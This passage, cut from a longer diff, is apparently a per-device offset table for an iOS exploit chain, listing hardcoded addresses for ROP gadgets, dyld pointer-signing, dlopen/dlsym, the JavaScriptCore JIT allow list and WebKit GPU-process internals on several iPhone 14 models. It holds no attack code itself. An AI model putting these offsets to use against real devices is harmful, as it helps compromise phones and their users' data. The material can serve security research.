0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n, + }, + "iPhone14,3_22G100": { + __pthread_head : 0x269af4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f93b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708248n, + free_slabs : 0x1ed7c19d0n, + gadget_control_1_ios184 : 0x23ed212ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dabf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da8a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da8a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da7f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da8b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cac38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc0d870n, + libsystem_c__atexit_mutex : 0x1ed6e6e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e60c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a7ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27218c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ae68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887c38n, + WebCore__initPKContact_value : 0x1ed887c40n, + WebCore__PAL_getPKContactClass : 0x1ed87f0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8863f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c040n + }, + "iPhone14,4_22G100": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,5_22G100": { + __pthread_head : 0x2690e0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa3e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9278n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708108n, + free_slabs : 0x1ed7c1890n, + gadget_control_1_ios184 : 0x23ed1d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daab0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da760n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da768n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da770n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da778n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cabf8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc09870n, + libsystem_c__atexit_mutex : 0x1ed6e6d18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5f80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271760000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ad28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887af8n, + WebCore__initPKContact_value : 0x1ed887b00n, + WebCore__PAL_getPKContactClass : 0x1ed87efb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8862d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8862c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8862b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bf00n, + }, + "iPhone14,6_22G100": { + __pthread_head : 0x26908c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec952ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca378b4n, + libGPUCompilerImplLazy_cstring : 0x23bb81870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25788fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271708000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone14,7_22G100": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + 